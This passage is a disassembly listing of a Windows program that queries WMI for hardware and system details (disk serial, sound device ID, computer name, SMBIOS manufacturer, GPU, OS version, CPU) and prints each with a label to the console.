mov qword [rbp + 0x4920], rax
mov rax, qword [rbp + 0x4920]
mov qword [rbp + 0x4928], rax
mov rcx, qword [rbp + 0x4928]
call fcn.140011b95
mov qword [rbp + 0x4930], rax
lea rdx, [0x140035198]
lea rcx, [rbp + 0x44a8]
call fcn.140011aaf
mov qword [rbp + 0x4938], rax
mov rax, qword [rbp + 0x4938]
mov qword [rbp + 0x4940], rax
mov rcx, qword [rbp + 0x4940]
call fcn.140011b95
mov qword [rbp + 0x4948], rax
lea rax, [rbp + 0x448]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x30
mov r8, qword [rbp + 0x4930]
mov rdx, qword [rbp + 0x4948]
mov rcx, qword [rbp + 0x428]
call qword [rbp + 0x4918]
test eax, eax
jne 0x140022d40
mov dword [rbp + 0x4950], 1
jmp 0x140022d4a
mov dword [rbp + 0x4950], 0
movzx eax, byte [rbp + 0x4950]
mov byte [rbp + 0x4464], al
lea rcx, [rbp + 0x44a8]
call fcn.140011a1e
nop
lea rcx, [rbp + 0x4488]
call fcn.140011a1e
movzx eax, byte [rbp + 0x4464]
test eax, eax
je 0x140022f14
cmp qword [rbp + 0x448], 0
je 0x140022f14
mov qword [rbp + 0x3518], 0
mov dword [rbp + 0x3534], 0
mov rax, qword [rbp + 0x448]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x4918], rax
lea rax, [rbp + 0x3534]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x3518]
mov r8d, 1
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x448]
call qword [rbp + 0x4918]
test eax, eax
jne 0x140022def
cmp dword [rbp + 0x3534], 0
jne 0x140022df4
jmp 0x140022f14
mov rax, qword [rbp + 0x3518]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x4918], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3558]
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0x3518]
call qword [rbp + 0x4918]
test eax, eax
jne 0x140022efb
mov rdx, qword [rbp + 0x3560]
lea rcx, [rbp + 0x44c8]
call fcn.140011aaf
mov qword [rbp + 0x4918], rax
mov rax, qword [rbp + 0x4918]
mov qword [rbp + 0x4920], rax
mov rcx, qword [rbp + 0x4920]
call fcn.140011b95
mov rdx, rax
lea rcx, [rbp + 0x3588]
call fcn.1400113b6
nop
lea rcx, [rbp + 0x44c8]
call fcn.140011a1e
lea rcx, [rbp + 0x3588]
call fcn.140011811
movzx eax, al
test eax, eax
jne 0x140022ee1
lea rdx, str.Disk_Serial_Number:
lea rcx, [rbp + 0x2e0]
call fcn.1400115f0
lea rdx, [rbp + 0x3588]
mov rcx, rax
call fcn.1400116b3
mov qword [rbp + 0x4918], rax
lea rdx, [0x140011582]
mov rcx, qword [rbp + 0x4918]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp + 0x3558]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp + 0x3588]
call fcn.140011a32
mov rax, qword [rbp + 0x3518]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x3518]
call qword [rax + 0x10]
jmp 0x140022d7f
mov rax, qword [rbp + 0x428]
mov rax, qword [rax]
mov rax, qword [rax + 0xa0]
mov qword [rbp + 0x4918], rax
lea rdx, str.SELECT__FROM_Win32_SoundDevice
lea rcx, [rbp + 0x4508]
call fcn.140011aaf
mov qword [rbp + 0x4920], rax
mov rax, qword [rbp + 0x4920]
mov qword [rbp + 0x4928], rax
mov rcx, qword [rbp + 0x4928]
call fcn.140011b95
mov qword [rbp + 0x4930], rax
lea rdx, [0x140035198]
lea rcx, [rbp + 0x4528]
call fcn.140011aaf
mov qword [rbp + 0x4938], rax
mov rax, qword [rbp + 0x4938]
mov qword [rbp + 0x4940], rax
mov rcx, qword [rbp + 0x4940]
call fcn.140011b95
mov qword [rbp + 0x4948], rax
lea rax, [rbp + 0x448]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x30
mov r8, qword [rbp + 0x4930]
mov rdx, qword [rbp + 0x4948]
mov rcx, qword [rbp + 0x428]
call qword [rbp + 0x4918]
test eax, eax
jne 0x140022fe8
mov dword [rbp + 0x4950], 1
jmp 0x140022ff2
mov dword [rbp + 0x4950], 0
movzx eax, byte [rbp + 0x4950]
mov byte [rbp + 0x44e4], al
lea rcx, [rbp + 0x4528]
call fcn.140011a1e
nop
lea rcx, [rbp + 0x4508]
call fcn.140011a1e
movzx eax, byte [rbp + 0x44e4]
test eax, eax
je 0x1400231bc
cmp qword [rbp + 0x448], 0
je 0x1400231bc
mov qword [rbp + 0x35c8], 0
mov dword [rbp + 0x35e4], 0
mov rax, qword [rbp + 0x448]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x4918], rax
lea rax, [rbp + 0x35e4]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x35c8]
mov r8d, 1
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x448]
call qword [rbp + 0x4918]
test eax, eax
jne 0x140023097
cmp dword [rbp + 0x35e4], 0
jne 0x14002309c
jmp 0x1400231bc
mov rax, qword [rbp + 0x35c8]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x4918], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3608]
xor r8d, r8d
lea rdx, str.PNPDeviceID
mov rcx, qword [rbp + 0x35c8]
call qword [rbp + 0x4918]
test eax, eax
jne 0x1400231a3
mov rdx, qword [rbp + 0x3610]
lea rcx, [rbp + 0x4548]
call fcn.140011aaf
mov qword [rbp + 0x4918], rax
mov rax, qword [rbp + 0x4918]
mov qword [rbp + 0x4920], rax
mov rcx, qword [rbp + 0x4920]
call fcn.140011b95
mov rdx, rax
lea rcx, [rbp + 0x3638]
call fcn.1400113b6
nop
lea rcx, [rbp + 0x4548]
call fcn.140011a1e
lea rcx, [rbp + 0x3638]
call fcn.140011811
movzx eax, al
test eax, eax
jne 0x140023189
lea rdx, str.Sound_Device_Serial:
lea rcx, [rbp + 0x2e0]
call fcn.1400115f0
lea rdx, [rbp + 0x3638]
mov rcx, rax
call fcn.1400116b3
mov qword [rbp + 0x4918], rax
lea rdx, [0x140011582]
mov rcx, qword [rbp + 0x4918]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp + 0x3608]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp + 0x3638]
call fcn.140011a32
mov rax, qword [rbp + 0x35c8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x35c8]
call qword [rax + 0x10]
jmp 0x140023027
mov rax, qword [rbp + 0x428]
mov rax, qword [rax]
mov rax, qword [rax + 0xa0]
mov qword [rbp + 0x4918], rax
lea rdx, str.SELECT__FROM_Win32_ComputerSystem
lea rcx, [rbp + 0x4588]
call fcn.140011aaf
mov qword [rbp + 0x4920], rax
mov rax, qword [rbp + 0x4920]
mov qword [rbp + 0x4928], rax
mov rcx, qword [rbp + 0x4928]
call fcn.140011b95
mov qword [rbp + 0x4930], rax
lea rdx, [0x140035198]
lea rcx, [rbp + 0x45a8]
call fcn.140011aaf
mov qword [rbp + 0x4938], rax
mov rax, qword [rbp + 0x4938]
mov qword [rbp + 0x4940], rax
mov rcx, qword [rbp + 0x4940]
call fcn.140011b95
mov qword [rbp + 0x4948], rax
lea rax, [rbp + 0x448]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x30
mov r8, qword [rbp + 0x4930]
mov rdx, qword [rbp + 0x4948]
mov rcx, qword [rbp + 0x428]
call qword [rbp + 0x4918]
test eax, eax
jne 0x140023290
mov dword [rbp + 0x4950], 1
jmp 0x14002329a
mov dword [rbp + 0x4950], 0
movzx eax, byte [rbp + 0x4950]
mov byte [rbp + 0x4564], al
lea rcx, [rbp + 0x45a8]
call fcn.140011a1e
nop
lea rcx, [rbp + 0x4588]
call fcn.140011a1e
movzx eax, byte [rbp + 0x4564]
test eax, eax
je 0x140023464
cmp qword [rbp + 0x448], 0
je 0x140023464
mov qword [rbp + 0x3678], 0
mov dword [rbp + 0x3694], 0
mov rax, qword [rbp + 0x448]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x4918], rax
lea rax, [rbp + 0x3694]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x3678]
mov r8d, 1
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x448]
call qword [rbp + 0x4918]
test eax, eax
jne 0x14002333f
cmp dword [rbp + 0x3694], 0
jne 0x140023344
jmp 0x140023464
mov rax, qword [rbp + 0x3678]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x4918], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x36b8]
xor r8d, r8d
lea rdx, str.Name
mov rcx, qword [rbp + 0x3678]
call qword [rbp + 0x4918]
test eax, eax
jne 0x14002344b
mov rdx, qword [rbp + 0x36c0]
lea rcx, [rbp + 0x45c8]
call fcn.140011aaf
mov qword [rbp + 0x4918], rax
mov rax, qword [rbp + 0x4918]
mov qword [rbp + 0x4920], rax
mov rcx, qword [rbp + 0x4920]
call fcn.140011b95
mov rdx, rax
lea rcx, [rbp + 0x36e8]
call fcn.1400113b6
nop
lea rcx, [rbp + 0x45c8]
call fcn.140011a1e
lea rcx, [rbp + 0x36e8]
call fcn.140011811
movzx eax, al
test eax, eax
jne 0x140023431
lea rdx, str.Computer_Name:
lea rcx, [rbp + 0x2e0]
call fcn.1400115f0
lea rdx, [rbp + 0x36e8]
mov rcx, rax
call fcn.1400116b3
mov qword [rbp + 0x4918], rax
lea rdx, [0x140011582]
mov rcx, qword [rbp + 0x4918]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp + 0x36b8]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp + 0x36e8]
call fcn.140011a32
mov rax, qword [rbp + 0x3678]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x3678]
call qword [rax + 0x10]
jmp 0x1400232cf
mov rax, qword [rbp + 0x428]
mov rax, qword [rax]
mov rax, qword [rax + 0xa0]
mov qword [rbp + 0x4918], rax
lea rdx, str.SELECT__FROM_Win32_SystemEnclosure
lea rcx, [rbp + 0x4608]
call fcn.140011aaf
mov qword [rbp + 0x4920], rax
mov rax, qword [rbp + 0x4920]
mov qword [rbp + 0x4928], rax
mov rcx, qword [rbp + 0x4928]
call fcn.140011b95
mov qword [rbp + 0x4930], rax
lea rdx, [0x140035198]
lea rcx, [rbp + 0x4628]
call fcn.140011aaf
mov qword [rbp + 0x4938], rax
mov rax, qword [rbp + 0x4938]
mov qword [rbp + 0x4940], rax
mov rcx, qword [rbp + 0x4940]
call fcn.140011b95
mov qword [rbp + 0x4948], rax
lea rax, [rbp + 0x448]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x30
mov r8, qword [rbp + 0x4930]
mov rdx, qword [rbp + 0x4948]
mov rcx, qword [rbp + 0x428]
call qword [rbp + 0x4918]
test eax, eax
jne 0x140023538
mov dword [rbp + 0x4950], 1
jmp 0x140023542
mov dword [rbp + 0x4950], 0
movzx eax, byte [rbp + 0x4950]
mov byte [rbp + 0x45e4], al
lea rcx, [rbp + 0x4628]
call fcn.140011a1e
nop
lea rcx, [rbp + 0x4608]
call fcn.140011a1e
movzx eax, byte [rbp + 0x45e4]
test eax, eax
je 0x14002370c
cmp qword [rbp + 0x448], 0
je 0x14002370c
mov qword [rbp + 0x3728], 0
mov dword [rbp + 0x3744], 0
mov rax, qword [rbp + 0x448]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x4918], rax
lea rax, [rbp + 0x3744]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x3728]
mov r8d, 1
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x448]
call qword [rbp + 0x4918]
test eax, eax
jne 0x1400235e7
cmp dword [rbp + 0x3744], 0
jne 0x1400235ec
jmp 0x14002370c
mov rax, qword [rbp + 0x3728]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x4918], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3768]
xor r8d, r8d
lea rdx, str.Manufacturer
mov rcx, qword [rbp + 0x3728]
call qword [rbp + 0x4918]
test eax, eax
jne 0x1400236f3
mov rdx, qword [rbp + 0x3770]
lea rcx, [rbp + 0x4648]
call fcn.140011aaf
mov qword [rbp + 0x4918], rax
mov rax, qword [rbp + 0x4918]
mov qword [rbp + 0x4920], rax
mov rcx, qword [rbp + 0x4920]
call fcn.140011b95
mov rdx, rax
lea rcx, [rbp + 0x3798]
call fcn.1400113b6
nop
lea rcx, [rbp + 0x4648]
call fcn.140011a1e
lea rcx, [rbp + 0x3798]
call fcn.140011811
movzx eax, al
test eax, eax
jne 0x1400236d9
lea rdx, str.SMBIOS_Manufacturer:
lea rcx, [rbp + 0x2e0]
call fcn.1400115f0
lea rdx, [rbp + 0x3798]
mov rcx, rax
call fcn.1400116b3
mov qword [rbp + 0x4918], rax
lea rdx, [0x140011582]
mov rcx, qword [rbp + 0x4918]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp + 0x3768]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp + 0x3798]
call fcn.140011a32
mov rax, qword [rbp + 0x3728]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x3728]
call qword [rax + 0x10]
jmp 0x140023577
mov rax, qword [rbp + 0x428]
mov rax, qword [rax]
mov rax, qword [rax + 0xa0]
mov qword [rbp + 0x4918], rax
lea rdx, str.SELECT__FROM_Win32_DisplayConfiguration
lea rcx, [rbp + 0x4688]
call fcn.140011aaf
mov qword [rbp + 0x4920], rax
mov rax, qword [rbp + 0x4920]
mov qword [rbp + 0x4928], rax
mov rcx, qword [rbp + 0x4928]
call fcn.140011b95
mov qword [rbp + 0x4930], rax
lea rdx, [0x140035198]
lea rcx, [rbp + 0x46a8]
call fcn.140011aaf
mov qword [rbp + 0x4938], rax
mov rax, qword [rbp + 0x4938]
mov qword [rbp + 0x4940], rax
mov rcx, qword [rbp + 0x4940]
call fcn.140011b95
mov qword [rbp + 0x4948], rax
lea rax, [rbp + 0x448]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x30
mov r8, qword [rbp + 0x4930]
mov rdx, qword [rbp + 0x4948]
mov rcx, qword [rbp + 0x428]
call qword [rbp + 0x4918]
test eax, eax
jne 0x1400237e0
mov dword [rbp + 0x4950], 1
jmp 0x1400237ea
mov dword [rbp + 0x4950], 0
movzx eax, byte [rbp + 0x4950]
mov byte [rbp + 0x4664], al
lea rcx, [rbp + 0x46a8]
call fcn.140011a1e
nop
lea rcx, [rbp + 0x4688]
call fcn.140011a1e
movzx eax, byte [rbp + 0x4664]
test eax, eax
je 0x1400239b4
cmp qword [rbp + 0x448], 0
je 0x1400239b4
mov qword [rbp + 0x37d8], 0
mov dword [rbp + 0x37f4], 0
mov rax, qword [rbp + 0x448]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x4918], rax
lea rax, [rbp + 0x37f4]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x37d8]
mov r8d, 1
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x448]
call qword [rbp + 0x4918]
test eax, eax
jne 0x14002388f
cmp dword [rbp + 0x37f4], 0
jne 0x140023894
jmp 0x1400239b4
mov rax, qword [rbp + 0x37d8]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x4918], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3818]
xor r8d, r8d
lea rdx, str.Description
mov rcx, qword [rbp + 0x37d8]
call qword [rbp + 0x4918]
test eax, eax
jne 0x14002399b
mov rdx, qword [rbp + 0x3820]
lea rcx, [rbp + 0x46c8]
call fcn.140011aaf
mov qword [rbp + 0x4918], rax
mov rax, qword [rbp + 0x4918]
mov qword [rbp + 0x4920], rax
mov rcx, qword [rbp + 0x4920]
call fcn.140011b95
mov rdx, rax
lea rcx, [rbp + 0x3848]
call fcn.1400113b6
nop
lea rcx, [rbp + 0x46c8]
call fcn.140011a1e
lea rcx, [rbp + 0x3848]
call fcn.140011811
movzx eax, al
test eax, eax
jne 0x140023981
lea rdx, str.GPU_Description:
lea rcx, [rbp + 0x2e0]
call fcn.1400115f0
lea rdx, [rbp + 0x3848]
mov rcx, rax
call fcn.1400116b3
mov qword [rbp + 0x4918], rax
lea rdx, [0x140011582]
mov rcx, qword [rbp + 0x4918]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp + 0x3818]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp + 0x3848]
call fcn.140011a32
mov rax, qword [rbp + 0x37d8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x37d8]
call qword [rax + 0x10]
jmp 0x14002381f
mov rax, qword [rbp + 0x428]
mov rax, qword [rax]
mov rax, qword [rax + 0xa0]
mov qword [rbp + 0x4918], rax
lea rdx, str.SELECT__FROM_Win32_OperatingSystem
lea rcx, [rbp + 0x4708]
call fcn.140011aaf
mov qword [rbp + 0x4920], rax
mov rax, qword [rbp + 0x4920]
mov qword [rbp + 0x4928], rax
mov rcx, qword [rbp + 0x4928]
call fcn.140011b95
mov qword [rbp + 0x4930], rax
lea rdx, [0x140035198]
lea rcx, [rbp + 0x4728]
call fcn.140011aaf
mov qword [rbp + 0x4938], rax
mov rax, qword [rbp + 0x4938]
mov qword [rbp + 0x4940], rax
mov rcx, qword [rbp + 0x4940]
call fcn.140011b95
mov qword [rbp + 0x4948], rax
lea rax, [rbp + 0x448]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x30
mov r8, qword [rbp + 0x4930]
mov rdx, qword [rbp + 0x4948]
mov rcx, qword [rbp + 0x428]
call qword [rbp + 0x4918]
test eax, eax
jne 0x140023a88
mov dword [rbp + 0x4950], 1
jmp 0x140023a92
mov dword [rbp + 0x4950], 0
movzx eax, byte [rbp + 0x4950]
mov byte [rbp + 0x46e4], al
lea rcx, [rbp + 0x4728]
call fcn.140011a1e
nop
lea rcx, [rbp + 0x4708]
call fcn.140011a1e
movzx eax, byte [rbp + 0x46e4]
test eax, eax
je 0x140023c5c
cmp qword [rbp + 0x448], 0
je 0x140023c5c
mov qword [rbp + 0x3888], 0
mov dword [rbp + 0x38a4], 0
mov rax, qword [rbp + 0x448]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x4918], rax
lea rax, [rbp + 0x38a4]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x3888]
mov r8d, 1
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x448]
call qword [rbp + 0x4918]
test eax, eax
jne 0x140023b37
cmp dword [rbp + 0x38a4], 0
jne 0x140023b3c
jmp 0x140023c5c
mov rax, qword [rbp + 0x3888]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x4918], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x38c8]
xor r8d, r8d
lea rdx, str.Version
mov rcx, qword [rbp + 0x3888]
call qword [rbp + 0x4918]
test eax, eax
jne 0x140023c43
mov rdx, qword [rbp + 0x38d0]
lea rcx, [rbp + 0x4748]
call fcn.140011aaf
mov qword [rbp + 0x4918], rax
mov rax, qword [rbp + 0x4918]
mov qword [rbp + 0x4920], rax
mov rcx, qword [rbp + 0x4920]
call fcn.140011b95
mov rdx, rax
lea rcx, [rbp + 0x38f8]
call fcn.1400113b6
nop
lea rcx, [rbp + 0x4748]
call fcn.140011a1e
lea rcx, [rbp + 0x38f8]
call fcn.140011811
movzx eax, al
test eax, eax
jne 0x140023c29
lea rdx, str.Windows_Version:
lea rcx, [rbp + 0x2e0]
call fcn.1400115f0
lea rdx, [rbp + 0x38f8]
mov rcx, rax
call fcn.1400116b3
mov qword [rbp + 0x4918], rax
lea rdx, [0x140011582]
mov rcx, qword [rbp + 0x4918]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp + 0x38c8]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp + 0x38f8]
call fcn.140011a32
mov rax, qword [rbp + 0x3888]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x3888]
call qword [rax + 0x10]
jmp 0x140023ac7
mov rax, qword [rbp + 0x428]
mov rax, qword [rax]
mov rax, qword [rax + 0xa0]
mov qword [rbp + 0x4918], rax
lea rdx, str.SELECT__FROM_Win32_Processor
lea rcx, [rbp + 0x4788]
call fcn.140011aaf
mov qword [rbp + 0x4920], rax
mov rax, qword [rbp + 0x4920]
mov qword [rbp + 0x4928], rax
mov rcx, qword [rbp + 0x4928]
call fcn.140011b95
mov qword [rbp + 0x4930], rax
lea rdx, [0x140035198]
lea rcx, [rbp + 0x47a8]
call fcn.140011aaf
mov qword [rbp + 0x4938], rax
mov rax, qword [rbp + 0x4938]
mov qword [rbp + 0x4940], rax
mov rcx, qword [rbp + 0x4940]
call fcn.140011b95
mov qword [rbp + 0x4948], rax
lea rax, [rbp + 0x448]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x30
mov r8, qword [rbp + 0x4930]
mov rdx, qword [rbp + 0x4948]
mov rcx, qword [rbp + 0x428]
call qword [rbp + 0x4918]
test eax, eax
jne 0x140023d30
mov dword [rbp + 0x4950], 1
jmp 0x140023d3a
mov dword [rbp + 0x4950], 0
movzx eax, byte [rbp + 0x4950]
mov byte [rbp + 0x4764], al
lea rcx, [rbp + 0x47a8]
call fcn.140011a1e
nop
lea rcx, [rbp + 0x4788]
call fcn.140011a1e
movzx eax, byte [rbp + 0x4764]
test eax, eax
je 0x140024112
cmp qword [rbp + 0x448], 0
je 0x140024112
mov qword [rbp + 0x3938], 0
mov dword [rbp + 0x3954], 0
mov rax, qword [rbp + 0x448]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x4918], rax
lea rax, [rbp + 0x3954]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x3938]
mov r8d, 1
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x448]
call qword [rbp + 0x4918]
test eax, eax
jne 0x140023ddf
cmp dword [rbp + 0x3954], 0
jne 0x140023de4
jmp 0x140024112
mov rax, qword [rbp + 0x3938]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x4918], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3978]
xor r8d, r8d
lea rdx, str.Caption
mov rcx, qword [rbp + 0x3938]
call qword [rbp + 0x4918]
test eax, eax
jne 0x140023eeb
mov rdx, qword [rbp + 0x3980]
lea rcx, [rbp + 0x47c8]
call fcn.140011aaf
mov qword [rbp + 0x4918], rax
mov rax, qword [rbp + 0x4918]
mov qword [rbp + 0x4920], rax
mov rcx, qword [rbp + 0x4920]
call fcn.140011b95
mov rdx, rax
lea rcx, [rbp + 0x39a8]
call fcn.1400113b6
nop
lea rcx, [rbp + 0x47c8]
call fcn.140011a1e
lea rcx, [rbp + 0x39a8]
call fcn.140011811
movzx eax, al
test eax, eax
jne 0x140023ed1
lea rdx, str.CPU_Caption:
lea rcx, [rbp + 0x2e0]
call fcn.1400115f0
lea rdx, [rbp + 0x39a8]
mov rcx, rax
call fcn.1400116b3
mov qword [rbp + 0x4918], rax
lea rdx, [0x140011582]
mov rcx, qword [rbp + 0x4918]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp + 0x3978]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp + 0x39a8]
call fcn.140011a32
mov rax, qword [rbp + 0x3938]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x4918], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3978]
xor r8d, r8d
lea rdx, str.Manufacturer
mov rcx, qword [rbp + 0x3938]
call qword [rbp + 0x4918]
test eax, eax
jne 0x140023ff2
mov rdx, qword [rbp + 0x3980]
lea rcx, [rbp + 0x47e8]
call fcn.140011aaf
mov qword [rbp + 0x4918], rax
mov rax, qword [rbp + 0x4918]
mov qword [rbp + 0x4920], rax
mov rcx, qword [rbp + 0x4920]
call fcn.140011b95
mov rdx, rax
lea rcx, [rbp + 0x39e8]
call fcn.1400113b6
nop
lea rcx, [rbp + 0x47e8]
call fcn.140011a1e
lea rcx, [rbp + 0x39e8]
call fcn.140011811
movzx eax, al
test eax, eax
jne 0x140023fd8
lea rdx, str.CPU_Manufacturer:
lea rcx, [rbp + 0x2e0]
call fcn.1400115f0
lea rdx, [rbp + 0x39e8]
mov rcx, rax
call fcn.1400116b3
mov qword [rbp + 0x4918], rax
lea rdx, [0x140011582]
mov rcx, qword [rbp + 0x4918]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp + 0x3978]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp + 0x39e8]
call fcn.140011a32
mov rax, qword [rbp + 0x3938]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x4918], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x3978]
xor r8d, r8d
lea rdx, str.Name
mov rcx, qword [rbp + 0x3938]
call qword [rbp + 0x4918]
test eax, eax
jne 0x1400240f9
mov rdx, qword [rbp + 0x3980]
lea rcx, [rbp + 0x4808]
call fcn.140011aaf
mov qword [rbp + 0x4918], rax
mov rax, qword [rbp + 0x4918]
mov qword [rbp + 0x4920], rax
mov rcx, qword [rbp + 0x4920]
call fcn.140011b95
mov rdx, rax
lea rcx, [rbp + 0x3a28]
call fcn.1400113b6
nop
lea rcx, [rbp + 0x4808]
call fcn.140011a1e
lea rcx, [rbp + 0x3a28]
call fcn.140011811
movzx eax, al
test eax, eax
jne 0x1400240df
lea rdx, str.CPU_Name:
lea rcx, [rbp + 0x2e0]
call fcn.1400115f0
lea rdx, [rbp + 0x3a28]
mov rcx, rax
call fcn.1400116b3
mov qword [rbp + 0x4918], rax
lea rdx, [0x140011582]
mov rcx, qword [rbp + 0x4918]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
